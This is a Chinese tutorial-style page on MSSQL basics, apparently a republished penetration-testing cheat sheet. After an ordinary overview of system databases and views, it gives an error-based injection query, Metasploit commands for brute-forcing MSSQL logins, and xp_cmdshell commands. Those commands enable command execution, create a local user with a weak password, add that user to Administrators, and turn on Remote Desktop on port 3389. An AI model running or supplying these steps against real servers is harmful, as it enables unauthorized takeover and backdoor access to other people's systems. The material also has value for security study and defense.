MSSQL数据库基础-Toy模板网

这篇具有很好参考价值的文章主要介绍了MSSQL数据库基础。希望对大家有所帮助。如果存在错误或未考虑完全的地方，请大家不吝赐教，您也可以点击"举报违法"按钮提交疑问。

MSSQL中自带数据库信息

库名	功能

Master	系统控制数据库
Model	模板数据库，数据库时建立所有数据库的模板。
Tempdb	临时容器，保存所有的临时表，存储过程和其他程序交互的临时文件
Msdb	主要为用户使用，记录着计划信息、事件处理信息、数据备份、警告以及异常信息
MSSQL	系统视图表（MSSQL数据库与MYSQL数据库一样，自带数据表sysobjects和 syscolumns）

视图表	功能

sysobjects	记录了数据库中所有的表,常用字段为id,name和xtype
syscolumns	记录了数据库中所有表的字段，常用字段为id、name和xtype
sys.databases	SQL Server 中所有的数据库
sys.sql_logins	SQL Server 中所有的登录名
information_schema.tables	当前用户数据库的表
information_schema.columns	当前用户数据库的列
sys.database_files	存储在数据库中数据库文件

MSSQL三个关键系统表
sysdatabases
MSSQL中对sysdatabases系统表的说明：
Microsoft SQL Server 上的每个数据库在表中占一行。最初安装 SQL Server 时，sysdatabases 包含 master、model、msdb、mssqlweb 和 tempdb 数据库的项。该表只存储在 master 数据库中。
这个表保存在master数据库中，这个表中保存的是什么信息呢？这个非常重要。他是保存了所有的库名，以及库的ID，和一些相关信息。

dbid从1到5是系统的。分别是：master、model、msdb、mssqlweb、tempdb 这五个库.

我们利用SQL语句，就可以查询出所有的库名.：

Db_name()
```
 当前数据库 
```

sysdatabase

 视图中的 Sysdatabase存储了mssql的所有库名 
 Select * from master..sysdatabases 
 Select * from master.dbo.sysdatabases 
 bid表示库id

Sysobject

 Select * from master..sysobjects where xtype=char(85)

Syscolumns

 Select * from master..yscolumns where id=3

报错

 Select 1 where 1=convert(int,(select @@version))

测试xp_cmdshell存储过程的开关过程，并利用存储过程执行系统命令：



EXEC sp_configure ‘show advanced options’, 1;RECONFIGURE;EXEC sp_configure ‘xp_cmdshell’, 1;RECONFIGURE（EXEC sp_configure ‘show advanced options’, 1;该命令用于修改权限，提升）	开启xp_cmdshell扩展
EXEC sp_configure ‘show advanced options’, 1;RECONFIGURE;EXEC sp_configure ‘xp_cmdshell’, 0;RECONFIGURE	关闭xp_cmdshell扩展

msf爆破mssql密码

Msfconsole -q 
Search mssql 
Use auxiliary/scanner/mssql/mssql_login

存储过程利用文章来源地址https://www.toymoban.com/news/detail-516848.html



EXEC sp_configure ‘show advanced options’, 1;RECONFIGURE;EXEC sp_configure ‘xp_cmdshell’, 1;RECONFIGURE	开启xp_cmdshell扩展
exec xp_cmdshell ‘mkdir c:\zzz’	在C盘中创建名为zzz目录
exec xp_cmdshell ‘net user zzz 123456 /add’	创建zzz用户
exec xp_cmdshell ‘net localgroup administrators zzz /add’	zzz添加为管理员权限
wmic RDTOGGLE WHERE ServerName=‘%COMPUTERNAME%’ call SetAllowTSConnections 1	开启远程桌面
reg add “HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp” /t REG_DWORD /v portnumber /d 3389 /f	设置远程桌面端口（默认开启3389）
netstat -an	find “3389”